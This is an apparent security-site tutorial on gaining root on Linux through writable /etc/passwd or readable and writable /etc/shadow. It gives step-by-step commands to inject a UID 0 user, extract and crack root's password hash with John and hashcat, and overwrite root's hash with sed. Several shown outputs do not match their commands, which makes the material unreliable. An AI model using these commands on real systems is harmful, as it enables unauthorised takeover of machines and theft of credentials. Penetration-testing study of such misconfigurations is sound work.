Skip to content
HackIndex logo

HackIndex

/etc/passwd and /etc/shadow Privilege Escalation

5 min read Jul 10, 2026

Misconfigured permissions on /etc/passwd and /etc/shadow represent a critical failure. If /etc/passwd is writable, inject a new root user. If /etc/shadow is readable, crack password hashes offline. If /etc/shadow is writable, overwrite the root password directly. All three paths lead to root without any exploit or kernel vulnerability.

Prerequisites Check

Check permissions, ACLs, and immutable flags — permissions on disk can be overridden by ACLs or chattr:

user@host ~ $ # Basic permissions
user@host ~ $ ls -la /etc/passwd /etc/shadow
 
user@host ~ $ # ACL overrides
user@host ~ $ getfacl -p /etc/passwd /etc/shadow 2>/dev/null
 
user@host ~ $ # Immutable flag — if set, you cannot write even as root
user@host ~ $ lsattr /etc/passwd /etc/shadow 2>/dev/null
 
user@host ~ $ # Quick capability test
user@host ~ $ test -w /etc/passwd && echo "passwd WRITABLE"
user@host ~ $ test -r /etc/shadow && echo "shadow READABLE"
user@host ~ $ test -w /etc/shadow && echo "shadow WRITABLE"
-rw-r--r-- 1 root root  2981 Jan  1 12:00 /etc/passwd
-rw-r----- 1 root shadow 1843 Jan  1 12:00 /etc/shadow

Confirm the system actually uses local file authentication — some environments use LDAP or SSSD and ignore local files entirely:

user@host ~ $ grep -E '^(passwd|shadow):' /etc/nsswitch.conf 2>/dev/null
passwd: files sssd
shadow: files sss

If the output shows files first, local file changes take effect. If it only shows sssd or ldap, local injection will not authenticate.

Use getent as the source of truth — it queries through NSS the same way the system does:

user@host ~ $ getent
root:x:0:0:root:/root:/bin/bash

Writable /etc/passwd — User Injection

When /etc/passwd is writable, add a new user with UID 0. The password hash goes directly in the second field — no shadow file needed.

Generate a password hash:

user@host ~ $ # SHA-512 (recommended)
user@host ~ $ openssl passwd -6 "$PASSWORD"
 
user@host ~ $ # If openssl -6 unavailable, use MD5 (less secure but works)
user@host ~ $ openssl passwd -1 "$PASSWORD"
 
user@host ~ $ # Or create a passwordless entry (empty password field)
user@host ~ $ # Format: username::0:0:comment:/root:/bin/bash
root:$y$j9T$salt$hash:19000:0:99999:7:::

Append the new root user:

user@host ~ $ HASH="$(openssl passwd -6 "$PASSWORD")"
user@host ~ $ printf 'newroot:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
$6$salt$hash...

Verify NSS sees it:

user@host ~ $ getent passwd newroot

Authenticate:

user@host ~ $ su newroot
newroot:x:0:0:root:/root:/bin/bash

Passwordless shortcut — if you want no password at all:

user@host ~ $ echo 'newroot::0:0:root:/root:/bin/bash' >> /etc/passwd
user@host ~ $ su newroot

This works only if PAM is not configured to reject empty passwords. On most lab systems it works.

Remove root's password from shadow — if /etc/shadow is also writable, delete root's password field entirely:

Check if this actually works — some PAM configurations block null passwords:

user@host ~ $ grep -i "nullok\|empty" /etc/pam.d/common-auth /etc/pam.d/su 2>/dev/null

nullok or nullok_secure present means empty passwords are accepted.

Verify and clean up after exploitation:

user@host ~ $ # Check for duplicate UID 0 accounts
user@host ~ $ awk -F: '$3==0 {print}' /etc/passwd
 
user@host ~ $ # Verify file integrity
user@host ~ $ pwck -r 2>/dev/null
root:$y$j9T$salt$hash

Readable /etc/shadow — Offline Cracking

If /etc/shadow is readable, extract and crack hashes offline.

Extract the root hash:

user@host ~ $ # Anchored extraction — only root's line
user@host ~ $ awk -F: '$1=="root"{print "root:"$2}' /etc/shadow > /tmp/root_hash.txt
user@host ~ $ cat /tmp/root_hash.txt
y

Identify the hash format by the prefix:

user@host ~ $ cut -d: -f2 /tmp/root_hash.txt | cut -d'$' -f2
Analyzing '$y$j9T$...'
[+] Yescrypt

Prefix

Format

Hashcat Mode

Cracker

$y$ or $7$

yescrypt

N/A

John only

$6$

SHA-512 crypt

-m 1800

Hashcat or John

$5$

SHA-256 crypt

-m 7400

Hashcat or John

$1$

MD5 crypt

-m 500

Hashcat or John

$2b$

bcrypt

-m 3200

Hashcat or John

Modern Debian/Ubuntu uses yescrypt ($y$) which is not supported by hashcat. Use John:

┌──(kali㉿kali)-[~]
└─$ # yescrypt — John only
┌──(kali㉿kali)-[~]
└─$ john --format=yescrypt /tmp/root_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # If yescrypt format unavailable, try generic crypt
┌──(kali㉿kali)-[~]
└─$ john --format=crypt /tmp/root_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # SHA-512 — hashcat is faster with GPU
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1800 --username /tmp/root_hash.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # Show cracked password
┌──(kali㉿kali)-[~]
└─$ john --show /tmp/root_hash.txt

Unshadow for John — if you want to crack all users at once, combine passwd and shadow:

┌──(kali㉿kali)-[~]
└─$ unshadow /etc/passwd /etc/shadow > /tmp/unshadowed.txt
┌──(kali㉿kali)-[~]
└─$ john /tmp/unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~]
└─$ john --show /tmp/unshadowed.txt

Transfer the hash file to your attack box for GPU cracking if the password does not crack quickly on CPU.

Writable /etc/shadow — Direct Overwrite

If /etc/shadow is writable, replace the root hash with a known one. First check whether root is locked:

user@host ~ $ # A field starting with ! or * means locked/disabled
user@host ~ $ awk -F: '$1=="root"{print $2}' /etc/shadow 2>/dev/null

If the second field starts with ! or *, the account is locked. You can unlock it by replacing the field with a valid hash.

Generate a replacement hash:

user@host ~ $ openssl passwd -6 "$PASSWORD"
$y$j9T$salt$hash

Use sed to replace root's hash field safely:

user@host ~ $ HASH="$(openssl passwd -6 "$PASSWORD")"
user@host ~ $ sed -i "s|^root:[^:]*:|root:${HASH}:|" /etc/shadow
$6$salt$hash...

Verify the change:

user@host ~ $ awk -F: '$1=="root"{print $2}' /etc/shadow
user@host ~ $ pwck -r 2>/dev/null

Authenticate:

user@host ~ $ su root
root: /etc/passwd and /etc/shadow agree
No errors detected.

References